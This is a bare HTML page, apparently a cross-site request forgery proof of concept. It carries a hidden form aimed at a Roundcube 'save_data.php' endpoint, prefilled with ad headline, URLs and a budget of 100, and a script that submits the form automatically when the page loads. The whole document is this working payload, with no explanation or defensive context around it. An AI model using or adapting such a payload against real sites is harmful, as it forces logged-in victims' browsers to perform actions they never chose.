<form method="post" action="https://roundcube.com/roundcubemail/save_data.php" id="add_ads">
    <input id="headline" required="" type="text" name="ad_headline" value="CSRF Ads"> 
    <input id="desc1" type="text" name="ad_desc_1" value="CSRF desc 1">
    <input id="desc2" type="text" name="ad_desc_2" value="CSRF desc 2">
    <input id="disp_url" required="" value="http://www.nus.edu.sg" type="text" name="ad_disp_url">
    <input type="text" required="" name="ad_dest_url" value="http://www.nus.edu.sg">
    <input type="text" required="" name="ad_budget" value="100">
</form>
<script type="text/javascript">
document.getElementById('add_ads').submit();
</script>